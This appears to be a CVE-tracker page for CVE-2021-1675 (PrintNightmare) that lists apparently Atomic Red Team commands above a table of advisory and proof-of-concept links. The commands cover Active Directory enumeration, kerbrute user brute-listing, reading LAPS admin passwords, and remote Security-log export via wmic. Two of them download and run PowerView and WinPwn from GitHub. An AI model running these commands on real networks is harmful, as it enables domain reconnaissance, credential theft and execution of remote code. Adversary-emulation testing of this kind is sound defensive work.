(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-1675 |
| portal.msrc.microsoft.com |
GitHub CVE
x_refsource_MISC
|
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1675 |
| kb.cert.org |
GitHub CVE
third-party-advisory
x_refsource_CERT-VN
|
https://www.kb.cert.org/vuls/id/383432 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/163349/Microsoft-PrintNightmare-Proof-Of-Concept.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/163351/PrintNightmare-Windows-Spooler-Service-Remote-Code-Execution.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/167261/Print-Spooler-Remote-DLL-Injection.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-1675 |